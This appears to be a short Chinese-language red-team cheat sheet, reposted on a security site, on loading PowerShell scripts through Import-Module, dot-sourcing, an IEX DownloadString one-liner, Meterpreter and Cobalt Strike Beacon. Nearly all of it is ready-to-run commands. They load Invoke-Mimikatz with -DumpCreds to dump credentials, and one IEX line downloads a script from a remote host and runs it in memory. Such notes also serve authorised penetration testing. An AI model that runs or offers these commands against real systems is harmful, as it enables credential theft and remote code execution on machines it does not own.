加载 PowerShell 脚本

admin 2023年12月15日21:49:55评论7 views字数 641阅读2分8秒阅读模式

通过 Module, IEX, Metasploit, Cobalt Strike 方式加载 PowerShell 脚本

通过导入模块的方式加载 PowerShell 脚本.

Import-Module .\Invoke-Mimikatz.ps1
. .\Invoke-Mimikatz.ps1

通过 Invoke-Expression 命令从网络加载 PowerShell 脚本.

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/Invoke-Mimikatz.ps1')

通过 Meterpreter 中的 powershell 模块加载 PowerShell 脚本.

load powershell
powershell_import /home/exp10it/Invoke-Mimikatz.ps1
powershell_execute Invoke-Mimikatz -DumpCreds

通过 Beacon 命令控制台加载 PowerShell 脚本.

powershell-import /home/exp10it/Invoke-Mimikatz.ps1
powershell-execute Invoke-Mimikatz -DumpCreds

PowerShell 默认限制输出长度, 需手动更改.

$FormatEnumerationLimit = -1

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日21:49:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   加载 PowerShell 脚本https://cn-sec.com/archives/2306652.html

发表评论

匿名网友 填写信息